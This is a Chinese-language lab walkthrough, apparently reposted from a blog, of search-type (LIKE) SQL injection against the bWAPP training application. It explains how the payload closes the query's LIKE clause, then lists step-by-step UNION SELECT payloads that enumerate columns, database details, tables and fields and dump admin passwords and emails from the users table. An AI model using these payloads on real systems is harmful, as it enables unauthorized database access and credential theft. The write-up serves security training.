判断验证码, 并跳转到 sqli_9.php
下面是搜索型 SQL 的代码:
$sql = "SELECT * FROM movies WHERE title LIKE'%". sqli($title) ."%'";
之前忘了说, 搜索型注入为什么输入 1%'and'%'='会是正常的不报错的, 因为 1%'这里的百分号和单引号 (%'), 闭合了代码中 LIKE '%, 二 and'%'='这里的('%'=') 是为了闭合代码最后面的 %'";; 注入进去就变成了 SELECT * FROM movies WHERE title LIKE '%" 1%'and'%'=' "%', 意思就是搜索 1, 后面的 %=% 成了一个为真的判断输入 1%'查询语句 +--+, 是闭合前面的搜索查询, 并调用我们注入的查询语句, 然后注释掉后面的内容
下面接着讲这次的 SQL 注入
2 输入个单引号进行判断
报错又有 %, 果断尝试搜索型注入输入 title=1%'and'%'=', 结果如图:
3 判断字段数:
输入 title=1%'order by 7 --+ 正常, 输入 title=1%'order by 8 --+ 报错, 结果如图:
所以字段数为 7
4 查看显示位:
输入 title=1%'union select 1,2,3,4,5,6,7 --+, 结果如图:
5 查询数据库等信息:
输入 title=1%'union select 1,database(),version(),4,user(),6,7 --+, 查询数据库名为 bwapp 数据库版本为 5.5.53 当前用户为 root@localhost, 结果如图:
6 查询表名:
输入 title=1%'union select 1,database(),version(),table_name,user(),6,7 from information_schema.tables where table_schema='bwapp'--+, 发现 users 表较为重要, 结果如图:
7 查询字段名:
输入 title=1%'union select 1,database(),version(),column_name,user(),6,7 from information_schema.columns where table_name='users'--+, 发现较重要的字段有 adminpasswordemail, 结果如图:
8 查询字段内容:
输入 title=1%'union select 1,database(),version(),group_concat(admin,"||",password,"||",email),user(),6,7 from users --+, 结果如图:
来源: http://blog.51cto.com/13577444/2092435